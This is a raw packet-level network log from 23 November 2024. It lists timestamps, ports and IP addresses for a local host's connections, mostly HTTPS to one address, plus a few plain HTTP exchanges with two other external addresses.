Nov 23, 2024 15:22:03.134208918 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.134424925 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.134438992 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.134547949 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.134547949 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.134560108 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.134589911 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.136583090 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.136611938 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.136681080 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.136816978 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.136831999 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.139642954 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.139695883 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.139844894 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.139858007 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.140016079 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.140016079 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.140022039 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.140034914 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.140367031 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.140446901 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.140500069 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.142297029 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.142330885 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.143191099 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.143285036 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.143310070 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:04.792269945 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:04.856933117 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:04.857357979 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:04.857372999 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:04.857794046 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:04.857800007 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:04.911956072 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:04.912111044 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:04.912322044 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:04.920120001 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:04.920463085 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:04.920475006 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:04.920842886 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:04.920847893 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:04.992964983 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:04.993511915 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:04.993537903 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:04.994060040 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:04.994064093 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.000410080 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.000745058 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.000808954 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.001111984 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.001127958 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.025809050 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.026156902 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.026181936 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.026526928 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.026537895 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.032207966 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:05.315947056 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.316014051 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.316054106 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.317126036 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.317147017 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.317158937 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.317167997 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.321440935 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.321469069 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.321540117 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.321801901 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.321814060 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.374192953 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.374255896 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.374301910 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.374701023 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.374716997 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.374726057 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.374730110 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.380156040 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.380186081 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.380305052 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.380748987 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.380764008 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.435857058 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.436017990 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.436068058 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.440934896 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.440953016 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.440968037 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.440973997 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.455631971 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.455691099 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.456001043 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.469211102 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.469362974 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.469429016 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.479166985 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.479187012 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.479439974 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.479623079 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.479640007 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.479652882 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.479659081 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.481801033 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.481863976 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.481966019 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.482131004 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.482136011 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.482161999 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.482167006 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.483068943 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.483076096 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.483351946 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.483376980 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.484457970 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.484492064 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:05.484735966 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.484844923 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:05.484858036 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:06.307328939 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:06.307419062 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:07.102823019 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.103420973 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.103442907 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.103789091 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.103794098 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.164360046 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.165667057 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.165687084 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.166718960 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.166724920 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.219304085 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.219767094 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.219830036 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.220366955 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.220380068 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.267709017 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.268042088 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.268058062 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.268467903 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.268472910 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.325989008 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.326402903 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.326416016 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.326797962 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.326802969 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.633446932 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.633501053 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.633547068 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.633763075 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.633773088 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.633785009 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.633790016 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.635277033 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.635343075 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.635386944 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.635502100 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.635524035 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.635535955 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.635541916 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.636919975 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.637001038 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.637077093 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.637295008 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.637342930 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.638087034 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.638106108 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.638166904 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.638288021 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.638299942 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.656536102 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.656687021 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.656738997 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.656801939 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.656815052 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.656830072 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.656836033 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.658828974 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.658870935 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.658931017 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.659058094 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.659073114 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.712709904 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.712871075 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.712920904 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.713004112 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.713010073 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.713021040 CET	49753	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.713025093 CET	443	49753	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.714797020 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.714881897 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.714960098 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.715068102 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.715090036 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.780445099 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.780483007 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.780538082 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.780853987 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.780853987 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.780860901 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.780869961 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.783421993 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.783447981 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.783528090 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.783695936 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:07.783713102 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:07.820152998 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:07.820187092 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:07.940269947 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:07.940493107 CET	80	49748	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:07.940561056 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:07.940602064 CET	49748	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:07.940772057 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:08.065603018 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:09.292777061 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:09.292840958 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:09.297125101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:09.355207920 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.355663061 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.355684996 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.356096029 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.356101990 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.416819096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:09.416898012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:09.417181969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:09.460891008 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.461409092 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.461477041 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.462029934 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.462045908 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.473591089 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.474029064 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.474047899 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.474651098 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.474658966 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.501849890 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.502263069 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.502293110 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.502774954 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.502780914 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.536662102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:09.636121988 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.636555910 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.636590958 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.637175083 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.637181997 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.725709915 CET	49724	80	192.168.2.4	199.232.214.172
Nov 23, 2024 15:22:09.789758921 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.789824963 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.789885998 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.790119886 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.790129900 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.790147066 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.790152073 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.793133020 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.793211937 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.793309927 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.793478966 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.793512106 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.845662117 CET	80	49724	199.232.214.172	192.168.2.4
Nov 23, 2024 15:22:09.845741034 CET	49724	80	192.168.2.4	199.232.214.172
Nov 23, 2024 15:22:09.914237976 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.914307117 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.914377928 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.918042898 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.918042898 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.918081999 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.918107986 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.919430017 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.919581890 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.919644117 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.919945955 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.919970989 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.919984102 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.919991016 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.922358036 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.922403097 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.922491074 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.922842026 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.922862053 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.923408031 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.923492908 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.923573971 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.923674107 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.923696041 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.952519894 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.952585936 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.952732086 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.952826977 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.952826977 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.952868938 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.952896118 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.955007076 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.955043077 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:09.955105066 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.955213070 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:09.955228090 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:10.090301037 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:10.090387106 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:10.090512037 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:10.090622902 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:10.090643883 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:10.090656042 CET	49758	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:10.090662956 CET	443	49758	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:10.093091011 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:10.093121052 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:10.093986988 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:10.094127893 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:10.094137907 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:10.755650997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.755714893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.755759001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.755759954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.755800962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.755844116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.755906105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.755944014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.755948067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.755995989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.756027937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.756042957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.756072998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.756088972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.756143093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.756170988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.756179094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.756191015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.756223917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.875468969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.875530958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.875567913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.875591993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.885607004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.885663033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.948113918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.948170900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.948198080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.948215961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.952270985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:10.952336073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:10.952370882 CET	80	49760	31.41.244.11	192.168.2.4
